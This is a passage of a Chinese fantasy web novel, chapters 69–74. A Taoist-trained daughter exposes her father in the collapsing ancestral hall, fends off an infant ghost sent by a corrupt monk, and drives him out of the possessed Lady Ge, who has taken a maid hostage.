“侯爷要打,先打我!反正我的腿已经断了一次,也不怕再被打断第二次!” 他的声音因剧烈喘息而发颤,却稳稳挡在慕容浅身前,拐杖泛着森冷的光。 慕容延看着大儿子拄着拐杖艰难站立的样子,心里像是被什么东西猛地揪了一下。 第69章 祠堂 他想起当年,这个孩子刚出生时,自己满心欢喜地抱着他,想着以后要把侯府的担子交给他,带他去见世面、学本事。 可如今,儿子看他的眼神冷冰冰的,就像陌生人。 自从江语嫣去世,一切就变了。 慕容浅被送去道观,慕容烨也不再像从前那样听话。 那场意外更是把一切都弄得乱七八糟,儿子断了腿,凶手却没找到。 从那以后,父子俩的话越来越少,见面就像仇人。 “你非要跟我对着干?” 慕容延的声音不自觉地放软了些,但一看到儿子倔强的眼神,又忍不住提高嗓门,“一个断了腿的废物,还要插手家事不成!” 话刚说出口,他就有些后悔,看着儿子发白的脸,心里隐隐作痛 —— 那毕竟是自己的亲骨肉啊。 可想到侯府的名声,想到在朝堂上的面子,他又硬起了心肠。 侯府不能再出乱子,女儿不肯听从安排,儿子又处处和自己作对,这让他怎么在京城立足? “来人!押他们去跪祠堂!给我好好的反省反省!” 慕容延转过身,不敢再看儿子的身影。 他握紧拳头,指甲几乎掐进掌心 —— 他没错,他所做的一切都是为了侯府,为了保住慕容家的荣华富贵,就算儿子恨他,他也不能心软。 家丁们硬着头皮上前, 慕容烨正要反抗,却被慕容浅按住肩膀。 她望着朱漆的祠堂大门,唇边勾起一抹讽刺的笑:“走,去瞧瞧侯府的列祖列宗,敢不敢受我这一跪。” 慕容浅扶着慕容烨跨过祠堂门槛时,腐木与香灰混合的气息扑面而来。 朱漆门在身后 “吱呀” 合拢,将外头的喧嚣隔绝在外。 摇曳的烛火下,数十块牌位森然排列,祖宗们的名讳在光影中忽明忽暗,仿佛正低头审视着这对狼狈的兄妹。 “兄长,站稳些。” 慕容浅低声道,伸手替兄长理了理衣领。 慕容烨拄着拐杖的指节发白,却仍强撑着挺直脊背。 他们的影子被烛光拉长,投映在斑驳的墙壁上,像两柄即将出鞘的剑。 慕容浅缓步上前,鞋底碾碎地上经年累月的香灰。 她在供桌前站定,抬头直视最上方的太祖牌位,声音清脆如裂帛:“列祖列宗在上!今日慕容浅,要替含冤而死的侯府主母江语嫣,讨一个公道!” 祠堂外传来一阵骚动,显然是侯府众人跟了过来。 慕容浅充耳不闻,继续说道:“侯爷慕容延,宠妾灭妻,纵容秦氏欺凌生母。生母病重时,他不闻不问,眼睁睁看着后院那些腌臜手段,活活逼死了结发妻子!” 她的声音坚定,眼前浮现出原主母亲临终前枯槁的面容。 “嫡子慕容烨,被人陷害受伤,落下终身残疾。可侯爷不仅没有半句关怀,反而嫌弃他成了废人!” 慕容浅猛地转身,望向挤在门口的众人,“至于我,被人诬陷,侯爷不查明原因就将我赶出侯府,被迫在道观容身十年,受尽苦楚。这些,难道就是侯府祖宗愿意看到的局面?” 慕容延的脸涨得通红,怒吼道:“住口!你这逆女……” “该住口的该是你!” 慕容浅猛然回头,眼中闪着怒火,“你身为侯府之主,不思光耀门楣,却只顾一己私欲,置妻儿于不顾。你这般德行,何德何能继承家业?列祖列宗在上,你们当真要看着这样的人,继续执掌侯府吗?” 话音刚落,祠堂内突然响起一阵刺耳的吱呀声。 供桌开始剧烈震颤,香灰如烟尘般腾起。 “哐当” 一声,最上方的太祖牌位轰然倒地,紧接着,其余牌位如骨牌般接连坠落,在青砖上摔得粉碎。 梁柱发出不堪重负的呻吟,瓦片如雨点般坠落。 慕容浅本能地扑向兄长,将他护在身后。 一道金光突然从碎裂的牌位中迸发,将兄妹二人笼罩其中。 等尘埃落定,祠堂的梁柱已轰然倒塌,唯有他们站立的地方完好无损。 侯府众人呆若木鸡,秦氏瘫坐在地,而慕容延面色惨白,死死抓着残垣断壁,仿佛随时都会倒下。 尘埃尚未落定,老夫人颤巍巍的身影就被两个丫鬟架着冲了进来。 她望着满地碎裂的牌位,绣着金线的抹额滑落在鬓边,突然 “哇” 地一声嚎啕大哭:“祖宗显灵了!这是祖宗在罚咱们慕容家啊!” 说着便扑到残损的供桌前,重重地磕着头,白发随着动作凌乱地散开,“都是老身管教无方,求祖宗息怒!息怒啊!” 慕容延面如死灰,踉跄着踢开脚边的牌位残片,喉间发出困兽般的低吼:“去!把家法……把家法给我拿来!” 他的目光死死锁在慕容浅身上,仿佛要将眼前这个胆敢忤逆的女儿千刀万剐。 “你敢。” 慕容浅缓缓起身,拍了拍裙摆上的尘土,眼神冷得像淬了冰,“今日祖宗示警,若你还要一意孤行,便是与列祖列宗为敌。” 她的声音不高,却在死寂的祠堂里激起阵阵回响。 老夫人连滚带爬地扑到慕容延脚边,枯瘦的手死死攥住他的锦袍:“不能再闹了!难道真要把侯府折腾得家破人亡才甘心吗?” 她涕泪横流,皱纹堆垒的脸上冲出一道道沟壑,“你看看这满地狼藉……这是老天爷给咱们的警告啊!” 慕容延的手悬在半空,青筋暴起的手指微微颤抖。 他望着老夫人花白的头发,又瞥了眼神色镇定的慕容浅,胸中翻涌的怒火突然化作一阵无力感。 远处传来秦氏压抑的啜泣声,混着老夫人的哭喊,在摇摇欲坠的祠堂里交织成一曲诡异的哀歌。 最终,他狠狠甩开老夫人的手,甩袖而去。 残垣间扬起的尘土裹着香灰,在暮色里织成朦胧的纱。 慕容烨盯着满地碎裂的牌位,指尖无意识摩挲着腰间的玉环。 当最后一片青瓦从梁柱上坠落,他紧绷的脊背突然松弛下来,嘴角竟扯出一丝笑意 —— 那笑容苍白又扭曲,像是在哭,又像是在笑。 “这腐朽的侯府。。。” 他的声音混着咳嗽,惊飞了梁上栖息的寒鸦,“早就该推倒重建了。” 第70章 反目 秦氏推开书房门,冲着案前的慕容延叫嚷:“侯爷!慕容烨慕容浅公然忤逆,必须严惩!祠堂都塌了,若不立威,以后侯爷还如何服众?” 慕容延盯着手中密报,连头都没抬:“够了,别再说了。” “您这是什么态度?” 秦氏急得跺脚,“难道要纵容她骑在咱们头上?” “骑在头上?” 慕容延突然冷笑,将密报狠狠摔在桌上,双眼布满血丝,“自从你当家,侯府就没太平过!江语嫣怎么死的?烨儿的腿怎么废的?浅儿为何会被赶出侯府?别以为我不知道你做的那些事!” 秦氏脸色骤变,却仍强撑着反驳:“侯爷这话就过分了!当初不都是您默许的。。。。。。” “住口!” 慕容延拍案而起,震得烛火剧烈摇晃,“现在说这些还有什么用?摄政王的人已经盯上侯府,稍有不慎就是灭顶之灾!慕容浅如今和王府牵扯不清,你还要去招惹她?” “可。。。。。。” “没有可是!” 慕容延颓然坐下,双手捂住脸,声音里满是疲惫,“罢了,一切都罢了。从今天起,谁也不许再动她。侯府经不起折腾了,真要把人逼急了,咱们都没好下场!” 秦氏呆立原地,望着慕容延佝偻的背影,突然觉得这个曾经威风凛凛的侯府之主,此刻竟如此苍老、如此不堪一击。 回到房间后,秦氏 “啪” 地将帕子甩在桌上,慕容笙吓得缩了缩脖子。 “母亲,父亲真要放过慕容浅?” 她声音发颤,眼眶泛红。 “他?” 秦氏扯出冷笑,眼尾吊梢眉挑得尖锐,“不过是个被王府吓破胆的窝囊废!祠堂塌了就吓成这样,还指望他主持公道?” 慕容笙 “哇” 地哭出声:“为什么别人都有父亲可以依靠,我却。。。。。。” 话音未落,秦氏不耐烦的瞅着她:“哭有什么用!眼泪能换来侯府的地位?” 慕容笙不敢再作声,呜咽着问:“那我们该怎么办?” 秦氏突然松手,脸上浮起阴鸷笑意:“靠不住,就换个人靠。” 见女儿愣住,她又换上温和语气:“别管这些,回去歇着。” 她凑近女儿耳边,声音压得极低:“等着,好日子快到了。” 她望向窗外漆黑的夜空,嘴角勾起一抹意味深长的弧度,“用不了多久,咱们娘俩就不用再仰人鼻息了。。。。。。” 三更梆子声穿透潮湿的夜色,秦氏塞给狱卒的银锭虽凉却能打动人心。 锈蚀的铜锁在油腻的手掌中 “咔嗒” 弹开,混着血腥气与腐臭的热浪扑面而来,她强忍着胃部翻涌,捏着绣帕的指尖微微发白。 脚下的青砖布满青苔,每一步都像是踩在某种活物的皮肤上,令人毛骨悚然。 昏暗的火把将摇曳的阴影投在潮湿的石壁上,宛如无数扭曲的恶鬼在狞笑。 墙角处传来铁链拖曳的声响,秦氏瞳孔微缩。 昔日法相庄严的广慈大师,此刻竟如破败的布偶般蜷缩在地。 僧袍碎成絮状挂在嶙峋的骨架上,锁骨处凹陷的沟壑里甚至积着脏水,唯有那双布满血丝的眼睛,仍在黑暗中闪着瘆人的光。 “大师受苦了。” 秦氏蹲下身时,刻意让声音带上几分哽咽,余光却在警惕地打量四周。 她心里冷笑:这般狼狈,倒省了我不少功夫。 广慈猛然暴起,铁链哗啦作响,枯瘦如柴的手指死死攥住她的手腕。 秦氏疼得倒抽冷气,面上却挤出关切:“您当心身子!” “是慕容浅!那个妖女勾结大理寺!” 广慈喉咙里发出野兽般的嘶吼,指甲深深掐进她皮肉,“要不是她硕鼠的事怎么会败露?原本是神不知鬼不觉的!” 他剧烈咳嗽起来,暗红的血沫溅在秦氏的绣鞋上。 秦氏盯着那摊血,心中涌起一阵快意,却佯装愤怒:“太过分了!我定要为大师讨回公道!” “我已修书给师兄广海,他定能救我出去!” 广慈浑浊的眼球瞬间发亮,颤抖着取下脖子上挂的佛珠,“拿着这个去找他……告诉他,务必要救我出去!” 秦氏接过信物时,故意让指尖擦过他溃烂的掌心,看着他疼得抽搐的表情,心中暗喜:这把火,算是彻底点着了。 “您放心,我定会请广海大师为您主持公道。” 秦氏抽回手,在裙摆上不着痕迹地擦去血迹,嘴角勾起一抹阴鸷的弧度。 转身离去时,身后传来广慈凄厉的诅咒:“慕容浅!我做鬼也不会放过你!” 这声嘶力竭的怒吼,在她听来,恰似一曲美妙的序曲。 等广海那老秃驴出手,看你们兄妹还能嚣张到几时? 她摩挲着袖中带血的佛珠,踩着满地阴湿,一步步走向更浓的黑暗。 当夜,秦氏握着带血的佛珠跨进护国寺山门。 月光将她的影子拉得很长,宛如一条毒蛇,蜿蜒着爬向广海闭关的禅房。 护国寺后山禅房内,烛火在广海大师手中的佛珠上明明灭灭。 秦氏掀开玄色斗篷,膝盖重重磕在蒲团上:“大师,只要能除掉慕容烨慕容浅兄妹,黄金千两、良田百顷,要什么我都给!” 广海垂眸看着手中转动的佛珠,低沉沙哑的嗓音不带一丝温度:“贫僧已不问俗事。” “不问俗事?” 秦氏在心里冷笑,广慈说过,他这位师兄广海法力高强,不过为人狡黠且贪婪,常年打着佛门旗号招摇撞骗,对钱财珍宝的渴望近乎病态。 她许以重金,像在饿狼面前扔了块肥肉,瞬间勾起他的贪欲。 但广海老谋深算,此刻假意推辞,不过是在等待她加码罢了。 “大师难道眼睁睁看着别人摆弄死我们母女?”她膝行几步,仰起头露出楚楚可怜的表情,“出家人慈悲为怀,难道不能帮帮我们吗?” “阿弥陀佛。”广海念了一声佛号闭目不语。 秦氏突然发出尖锐的嗤笑,眼中燃起阴毒的火,“您怕是还不知道,令师弟广慈如今在大牢里求生不得求死不能!全是慕容浅那妖女勾结大理寺官员,用道门巫蛊之说构陷!” 佛珠转动的动作骤然停滞。广海抬起脸,兜帽下露出半张布满刀疤的脸,左眼处的空洞泛着幽光:“她竟敢如此?” 第71章 婴鬼 “这还不算!” 秦氏猛地抬头,“前日我去道观,亲耳听见她对香客说佛门只会敲木鱼骗香油钱,哪比得上道门能断人生死!现在整个京城都在传,说护国寺不过是徒有虚名!” 她突然抓起广慈的佛珠,直递到广海的面前,“大师,您真要看着佛门香火被道门踩在脚下?看着您师弟含冤而死?” 广海突然发出震碎烛火的怒吼,禅房内瞬间陷入黑暗。 待油灯重新亮起时,他的袈裟无风自动,“好个道门妖女!” 他俯身逼近秦氏,腐肉气息喷在她脸上,“贫僧要让她知道,佛若动怒,十万金刚皆成索命修罗!” 广海向来阴鸷狠辣,眼中只有利益与胜负。 听闻广慈蒙冤,他心中并无多少同门情义的波澜,只是觉得这是个绝佳借口,能借此揽下这桩 “买卖”,既能捞到钱财,又能立威,算盘珠子在心里拨得噼里啪啦响 。 而且在他看来,佛门尊严不容践踏,慕容浅此举是公然打脸,必须得让她付出惨痛代价。 他表面佯装思索,内心却已在盘算如何布下致命杀局,嘴角不自觉勾起一抹冷笑,仿佛慕容浅已在他掌心,生死由他掌控 。 窗外惊雷炸响,将两人扭曲的身影映在斑驳的墙壁上,宛如恶鬼现世。 子夜更鼓穿透死寂,慕容浅被一阵若有若无的哭泣声惊醒。 那哭声像是一个襁褓中的婴儿,在喉间破碎成断断续续的呜咽,又裹着黏腻的水声,从窗棂缝隙里钻进来。 她猛地睁开眼,就见月光被什么东西割裂成诡异的条纹,在床幔上投下细碎的晃动阴影。 外间的小桃睡得正熟,仿佛并没有被惊动。 慕容浅不动声色的起身,推开窗户。 月光倾泻而下,院子中央地上赫然放着个襁褓。 血污斑斑的锦缎下,伸出一双灰青的小脚,指甲漆黑如炭,正一下下抠着青砖缝隙。 许是听到推窗的声音,哭声陡然拔高,襁褓突然剧烈扭动,像是里面困着什么活物。 挣扎了几下布料被散开,露出里面蜷缩的躯体。 本该是婴儿的身形却布满青黑尸斑,四肢扭曲成不自然的弧度,手肘与膝盖朝外翻转,最可怖的是那张脸 —— 而本该是婴儿面孔的位置,赫然张着布满倒刺尖牙的血盆大口。 “嘻嘻嘻……” 婴鬼突然仰起头,眼窝空洞无物,却精准对上她的视线。 它爬行的速度骤然加快,关节发出令人牙酸的脆响,脖颈以诡异角度扭转,从嘴里吐出带着腐臭味的黑雾。 “来陪我玩……” 婴鬼咧开嘴角,血线顺着獠牙滴落,四肢着地朝慕容浅扑来。 婴鬼尖锐的嘶吼声刺破夜空,慕容浅却倚在窗边慢条斯理地整理着袖口,唇角甚至还噙着一抹冷笑。 院中的桂花树枝在月光下轻轻摇晃,婴鬼经过的时候,桂枝的影子骤然泛起涟漪,一道半透明的身影从树根处缓缓浮现。 小婵的残魂好整以暇的拦住婴鬼,自慕容浅惩治秦氏后,小婵心愿已了,之所以还留在芷兰院,一方面是报答慕容浅,另一方面也是放心不下她,所以在此守护。 慕容浅在院中还布了聚灵阵,经过这段时间的修养,小婵的残魂得以修补不少。 原本青紫肿胀的脸庞渐渐恢复正常,有了几分生前甜美的模样。 “小小婴鬼也敢来此放肆!” 小婵的声音化作厉喝。 她扬起衣袖,周身顿时缠绕起银白色的光晕,恰似月光凝成的锁链。 婴鬼察觉到不妙,尖牙间发出 “嘶嘶” 的警告,四肢着地想要逃窜,却被小婵一步跨到跟前,冰凉的手掌径直按在它头顶。 小婵指尖迸发青光,婴鬼发出杀猪般的惨叫,周身黑雾滋滋作响。 它奋力挣扎着想要咬向小婵手腕,却在触及对方衣袖的瞬间,皮肤腾起青烟。 最后它不甘地发出一声尖锐啼哭,化作一缕黑烟,朝着院外狼狈逃窜。 小婵想要追上去,却被慕容浅喊住。 “由它去吧,正好把背后的人引来。” 慕容浅望着夜空里逐渐消散的黑雾,眼神愈发冰冷。 婴鬼炼制方法极其恶毒,需用未足百天的婴儿,活生生的虐杀致死,收集怨气以其生辰八字配合在至阴之地布置祭坛。 还要以银针钉入百会、膻中、涌泉等七处大穴锁住婴尸魂魄。 炼制者需割取自身精血为引,念诵邪经日夜加持,使其怨气吞噬神智,最终化为只听号令的嗜血厉鬼。 此术不仅亵渎人伦,更要牺牲炼制者部分元神,是佛门大忌中的禁术。 一道焦黑的残影如断弦之箭,轰然撞破报国寺偏殿的雕花窗棂。 广海手中的木鱼 “咔嚓” 炸裂成两半,飞溅的木屑扎进掌心,鲜血瞬间浸透了袈裟。 他踉跄着扶住佛案,眼中暴起血丝,喉间翻涌的腥甜压都压不住,“噗” 地喷出一蓬血雾。 满地翻滚的婴鬼发出刺耳尖啸,焦黑如炭的皮肤正以肉眼可见的速度皲裂剥落,露出底下新生的粉嫩皮肉,却依旧无法掩盖额间那道泛着银光的伤痕 —— 正是小婵魂魄之力留下的印记。 广海看着婴鬼痛苦抽搐的模样,眼中闪过一丝阴鸷,枯瘦的手指结出法印,念咒声如毒蛇吐信:“归位!” 纯金佛钵应声飞出,倒扣在满地乱爬的婴鬼身上,钵上符文亮起猩红光芒,将凄厉哭声尽数吞噬。 “好个慕容浅……” 广海擦去嘴角血迹,指尖摩挲着佛钵边缘的齿痕,那是婴鬼挣扎时留下的抓痕。 他和婴鬼五感相通,自然看到了小婵的残魂。 那残魂周身萦绕的气息纯净无垢,分明是被妥善安置过的往生魂魄,绝非寻常野鬼可比。 广海盯着佛钵渗出的缕缕黑雾,嘴角勾起森冷弧度:“能让亡魂心甘情愿为你守夜 看来,得动用些特别的手段了。” 第二天暮色将尽时,芷兰院的铜环突然发出几声轻响,像是有人在叩门。 小桃小跑着过去,门缝里漏进的月光中,葛氏的身影裹在深紫色斗篷里,宛如一潭深不见底的死水。 第72章 糖水 她怀里端着一个描金托盘,蒙着素白绢布。 大门转动的瞬间,一股甜腻得发齁的香气扑面而来,混着桂花蜜的馥郁与某种说不出的腥气。 葛氏鬓边的珍珠步摇随着动作轻晃,每颗珍珠都蒙着层淡淡的水雾,倒像是沾了夜露的白梅。 “这么晚还守着门?” 她笑着将托盘往前递了递,素绢下两碗糖水正冒着袅袅热气,琥珀色的汤汁里漂浮着枸杞与桂圆,在月光下泛着妖异的红光。 “特意炖了莲子百合羹,来找你们姑娘说说话。” 小桃忙接过托盘,将葛氏引到屋内。 慕容浅正在屋内画符,见葛氏进来便搁下了笔。 葛氏踏入内室,目光瞬间被案头铺开的朱砂符箓攫住。 宣纸上腾起若有若无的赤色光晕,符咒边缘流转的纹路恰似活物游走。 “好精妙的笔法!” 葛氏指尖拂过未干的朱砂墨迹,指甲刮擦出细微声响,“浅丫头的道法,倒比前些日子更精进了,不知是哪位高人指点?” 慕容浅看了她一眼,慢条斯理地擦拭着狼毫:“多谢夸奖,我自幼在青山观修行十载,每日跟着师父誊写经文、绘制符箓,不过是些笨功夫罢了。” 她抬眼时,眼角眉梢俱是清浅笑意,却似裹着层薄冰,“前些日子我才从青山观回来,葛夫人日理万机,许是一时忘了?” 葛氏僵在原地,珍珠步摇随着脖颈的僵硬微微颤动。 她很快掩唇轻笑,眼角挤出细纹:“瞧我这记性,真是老糊涂了!” “后日长公主府马球盛会,你两个妹妹素来怯弱,没见过大场面。” 她忽地执住慕容浅手腕,指尖凉若冰玉,“你这做长姐的,可要多费些心思护持。” 葛氏指尖刚触及慕容浅腕间的温凉,未及细品便觉手腕一轻。 慕容浅已不着痕迹地抽回手,素白袖口拂过檀案,带起一缕若有若无的香。 她垂眸拨弄着砚台边的镇纸,青玉镇纸在烛火下泛着冷光:“小桃,去外间取些新焙的雨前龙井来。” 小桃应声退下,木门吱呀合拢的声响里,慕容浅抬眼时笑意已深了几分:“都是自家姐妹,原该相互照拂。” 她将绘好的符箓轻轻吹晾,朱砂在宣纸上凝成暗红纹路,恰似蜿蜒的血丝。 “玉妹妹单薄,雪妹妹年幼,马球场上风大,不妨多带件衣服……” 话音微顿,她指尖抚过符箓边缘,“若见着什么不干净的东西,只管叫人来寻我。” 葛氏喉间突然发紧,望着慕容浅指尖流转的微光,只觉那抹笑意里藏着冰刃。 她强撑着笑了:“到底是你细心……” 窗外竹影婆娑,将她扭曲的脸色剪得支离破碎。 葛氏将青瓷碗往前推了半寸,碗中浮着的桂圆在烛火下泛着琥珀色的光,甜腻气息裹着若有若无的药味漫上来。 “快尝尝,” 她指尖叩了叩碗沿,珍珠步摇在鬓边晃出细碎光影,“是我一早起来亲自炖的,莲子都泡了三个时辰呢。” 慕容浅垂眸望着碗中涟漪,睫毛在眼下投出墨色阴影。 她忽然抬眼,目光直直撞进葛氏眼底的局促,唇角勾起清浅弧度。 “我素来不吃甜食,夫人怎么连这都忘了?” 葛氏的面皮抖动,“是……是吗?” 烛光下她的脸忽明忽暗,说不出的诡异。 “葛夫人喝茶~” ”小桃端着茶盏迈入门槛时,打破了屋里的静寂。 葛氏唇角的笑意陡然凝固,枯瘦的手指如鹰爪般攫住青瓷碗,猛地将琥珀色的甜汤泼向慕容浅。 浓稠的汤汁在空中划出诡异的弧线,裹挟着碎冰与暗红药渣,空气里瞬间弥漫开刺鼻的臭味。 慕容浅神色未变,广袖轻扬间,玄色衣袂上骤然浮现出金色咒纹。 甜汤撞在无形屏障上轰然炸开,飞溅的毒液落到青砖地面,发出 “滋滋” 的腐蚀声响,转眼便在地面蚀出蜂窝状的深坑,焦黑的砖石缝隙中升腾起袅袅白烟。 “敬酒不吃吃罚酒!” 葛氏的面容扭曲变形,两颊凹陷如骷髅,双手指节暴起青筋,飞速结成诡异的法印。 刹那间,梁上椽子发出不堪重负的吱呀声,数百条青鳞毒蛇倒挂着垂落,猩红的信子吞吐间,紫雾弥漫整个房间。 蛇群眼中泛着幽绿的凶光,鳞片摩擦声如同砂纸刮擦,令人头皮发麻。 慕容浅眸光冷冽,旋身将手中热茶泼向蛇群。 蒸腾的水汽中,倒映出满屋扭曲的幻影。 原来真正的毒蛇不过寥寥数条,其余皆是幻术凝成的虚影。 被热茶泼中的蛇影纷纷化作青烟消散,空气中弥漫着硫磺燃烧的气息,剩下的毒蛇被慕容浅轻松斩断。 然而葛氏并未罢手,她身形如鬼魅般一闪,瞬间欺身到小桃背后,枯槁的手指死死掐住侍女咽喉。 小桃发出痛苦的呜咽,脖颈皮肤以肉眼可见的速度泛起青紫。 葛氏脖颈暴起蚯蚓般的青筋,原本娇柔的声音变得低沉嘶哑,仿佛来自九幽深渊:“能破我障眼法。。。。。。 倒是小瞧你了!” 她嘴角勾起一抹狞笑,指甲深深刺入小桃肌肤,鲜血顺着指尖滴落,在地面晕开一朵妖异的红梅。 小桃手中的茶盏 “当啷” 坠地,青瓷碎片迸溅的瞬间,她瞳孔猛地收缩。 葛氏冰凉的指尖如铁钳般扣住她咽喉,压迫感令她喉骨发出细微的脆响。 小桃惊恐地瞪大眼睛,眼白里布满血丝,口中发出含混不清的呜咽,像是溺水之人徒劳的呼救。 脖颈处传来的剧痛让她浑身战栗,双手下意识地去掰那枯瘦的手指,指甲深深抠进葛氏皮肤,却丝毫无法撼动。 她的脸颊因窒息而涨得紫红,渐渐转为青灰,温热的泪水不受控制地滚落,在脸上划出蜿蜒的痕迹。 随着呼吸愈发困难,小桃的动作逐渐变得迟缓无力,眼皮开始不受控地耷拉,意识也在黑暗中摇摇欲坠,唯有望向慕容浅的眼神中,还残留着微弱的求救光芒。 葛氏歪着头,脖颈以违背常理的弧度扭转,脸上的皮肉诡异地抽搐着,原本端庄的面容完全扭曲,嘴角咧到耳根,露出森白的牙齿,眼中跳动着幽绿的光芒,与平日判若两人。 第73章 挟持 她掐着小桃的脖颈,指甲深深陷入皮肉,鲜血顺着指尖滴落,声音沙哑又充满恶意:“慕容浅,没想到吧?” 慕容浅眼神冰冷如霜,紧盯着葛氏的一举一动,沉声道:“强行占据活人身躯,违背天道,你就不怕魂飞魄散,永世不得超生?” 葛氏发出一阵刺耳的怪笑,笑声在屋内回荡,令人毛骨悚然:“魂飞魄散?哈哈,天道能找的到我再说!” 她猛地将小桃往前一拉,威胁之意十足,“倒是你,最好别轻举妄动。你若敢动手,这具身体可就跟着一起死!” 她诡异一笑,“如果你不动手的话,那就眼睁睁看着这丫头在你面前断气!怎么样,选一个吧。” 说罢,她故意收紧手指,小桃顿时面色涨紫,挣扎得更加剧烈。 慕容浅面色淡然,“你以为,我为什么任由你踏进我的屋子?” 葛氏脖颈青筋暴起,正欲加大手上力道,忽觉后颈渗出细密汗珠。 原本凉爽的室内骤然升温,额前碎发很快被汗水黏在皮肤上。低头一看,自己绣鞋边缘不知何时爬满了暗红色的符咒,像燃烧的藤蔓般沿着裙摆往上蔓延。 她惊讶的环顾四周,才发现原本不起眼的家具,竟被摆放成了法阵的模样。 而慕容浅面前燃烧的烛台,正是法阵的阵眼。 “你什么时候……” 她话音未落,慕容浅已端起案头的烛台。 “就在你进门的时候。” 跳动的火苗明明微弱,却让葛氏感觉像是直面正午烈日。 烛火每摇曳一次,她体内的魂体就如同被烙铁灼烧,火辣辣的刺痛从丹田直冲天灵盖。 “放了小桃!” 慕容浅一声喝令,油灯猛地暴起一朵火花。 随着火苗跳动,葛氏感觉一股力量死死拽住她的手腕,不由自主松开了小桃。 小桃瘫倒在地剧烈咳嗽,连滚带爬的远离葛氏,慕容浅趁机甩出一条浸过符水的红绳,如灵蛇般缠住葛氏的脖子。 葛氏脖颈骤然收紧,红绳如活物般勒进皮肉,她踉跄着撞翻身后案几,青瓷碎片在地面炸开。 喉间发出破风箱般的嘶吼,她怒目圆睁,眼白泛起可怖的血丝:“慕容浅!你当真不顾这具身体死活?” 慕容浅将烛台重重掷于法阵中央,火星溅落在葛氏脚边的符文中,瞬间燃起幽蓝火焰:“放了你,明日便是满府人命。二房夫人的性命,换阖府安宁,这笔账,我算得清楚。” 她指尖微动,缠绕在虚空中的红绳骤然收紧,葛氏的绣鞋在青砖上划出刺耳声响,脖颈青筋暴起如扭曲的蚯蚓。 “你……” 葛氏面容涨紫,舌尖抵住上颚正要念咒,却被红绳绞得舌根发麻。 法阵中符光愈盛,她感觉魂体如同被架在火上炙烤,躯壳的生机正被一点点抽离。 最后剜了慕容浅一眼,喉间挤出破碎的咒骂:“算、你狠……” 一道幽绿灵光从葛氏天灵盖激射而出,冲破窗棂向夜空飞去。 葛氏直挺挺栽倒在地,发髻散落的珠钗在地面叮当作响。 慕容浅肩头骤然松懈,这才发觉掌心已被掐出深红血痕。 晨光透过窗棂洒在织锦软帐上,葛氏睫毛轻颤着睁开眼,朦胧间看见两个女儿哭红的眼眶。 慕容玉攥着她的手不住啜泣,慕容雪正用帕子小心翼翼地替她拭额角冷汗,钗环晃动的声响混着抽噎声,在屋内碎成一片。 "母亲醒了!"慕容雪的惊呼惊飞了檐下雀鸟。 葛氏想要张口安抚,喉间却突然传来撕裂般的剧痛,像被滚烫的铁签贯穿,每呼吸一下都牵扯着浑身筋骨。 她惊恐地想要坐起,却发现四肢绵软无力,连指尖都只能微微抽搐。 床畔传来衣料摩擦的窸窣声,慕容浅放下手中的银针,素白指尖搭在她腕间寸关尺,腕上的青玉镯撞出清冷声响:"葛夫人醒得正好。" 话音未落,药碗已递到唇边,苦涩气息混着药味钻入鼻腔,"这碗安神汤,还请趁热服下。" 葛氏喉间发出含混的呜咽,她昨天明明在厨房督促婆子们熬糖水,忽然从窗外吹进一股寒风,她只觉得浑身一凉,就什么都不知道了。 她想问问慕容浅到底是怎么回事,然而喉间肿痛如塞棉絮,连半句质问都化作破碎的气音,只能任由慕容浅将药汁缓缓灌入唇齿。 慕容浅按住葛氏颤抖的手腕,指尖凝着若有若无的灵力,语气却如春日暖阳般和煦:"葛夫人莫要心急,不过是偶感风寒才一时晕厥。" 她从袖中取出银针,针尖泛着幽幽蓝光,"这几日我每日来行针一次,再配上驱寒汤药,不出旬日便能痊愈。" 慕容玉小心地取走药碗,慕容浅见状轻笑,将银针在烛火上燎过:"玉妹妹莫要忧心,你母亲福泽深厚,定会安然无恙。" 临走时,慕容浅从怀中取出三个香囊,素白缎面上的金线在晨光下泛着微光。 "这是我亲手缝制的,里头放了平安符与安神草药。" 她将香囊分别塞进葛氏与慕容玉、慕容雪掌心,"贴身带着,既能驱邪避凶,又能助眠安神。" 慕容雪攥着香囊的手指微微发白,疑惑的仰起小脸刚要开口,却被慕容玉掐了下手臂。 春日的阳光透过雕花窗棂洒在两人身上,慕容玉小声对妹妹说,“大姐说是风寒就是风寒,大姐的医术我们还信不过吗?” "可是……" 慕容雪还想说什么,却被慕容玉拽到屏风后。 檀香混着药味的气息里,慕容玉的声音压得极低:"你忘了昨夜大姐院里的动静?到处都是驱邪的符咒,母亲不知道是遇到了什么脏东西!" 慕容雪打了个寒颤,“小桃姐也吓得不轻,脖子上的伤也不知道是什么东西弄得,幸好府里有大姐在。” 慕容玉攥着妹妹的手腕,忧心忡忡,"现在府里暗潮汹涌,咱们装糊涂才好!你可记住了最近说话做事都要小心些,千万不要往那边院里去。" 她朝秦氏的院落努了努嘴,“那边可有老虎,憋着害人呢。” 第74章 解禁 广海的魂体如被狂风撕扯的破布,从葛氏躯壳中狼狈脱出时,侯府檐角的铜铃突然齐齐炸响。 他刚遁入夜色,就感觉识海被千万根钢针扎透。 慕容浅布下的镇魂符化作锁链,顺着阴阳两界的缝隙死死缠住他的魂体。 穿破护国寺山墙的瞬间,广海撞碎了十八罗汉像前的长明灯。 琉璃灯罩炸裂的脆响中,他看见自己半透明的魂体正以肉眼可见的速度崩解,那些附着在葛氏体内的禁制化作火蛇,在魂魄表面啃噬出焦黑的孔洞。 "不 ——" 惨叫声在空荡的禅房里回荡。 广海踉跄着撞向供桌,打翻的朱砂顺着符纸蜿蜒成狰狞的符咒。 他颤抖着抓起案上的木鱼槌狠砸自己头颅,却发现这具无形的魂体根本无法缓解识海中的剧痛。 墙壁上的《心经》经文突然泛起金光,每一个字都化作利刃,将他钉在斑驳的墙面上。 轻轻的敲门声响起,寺里的小沙弥捧着食盒推开禅房门。 “广海师叔,我来送饭。” 木轴转动的吱呀声里,一阵腐臭气息扑面而来。 小沙弥下意识屏住呼吸,抬眼却见广海盘坐在蒲团上,原本清癯的面容此刻肿胀发紫,嘴角歪斜着淌下黑褐色黏液,袈裟领口露出的脖颈爬满蚯蚓状的青黑血管。 “师、师叔?” 食盒在手中剧烈晃动,馒头滚落在地。 往日法相庄严的广海双目圆睁,眼白布满血丝,瞳孔缩成针尖大小,泛着诡异的幽绿光芒。 他歪着头打量小沙弥,脖颈以违背常理的弧度扭转,发出令人牙酸的骨骼摩擦声。 广海突然咧嘴笑了,露出两排沾着血污的牙齿,嘴角几乎咧到耳根:“你来了……” 话音未落,他猛地暴起,枯瘦如柴的手臂闪电般掐住小沙弥咽喉。 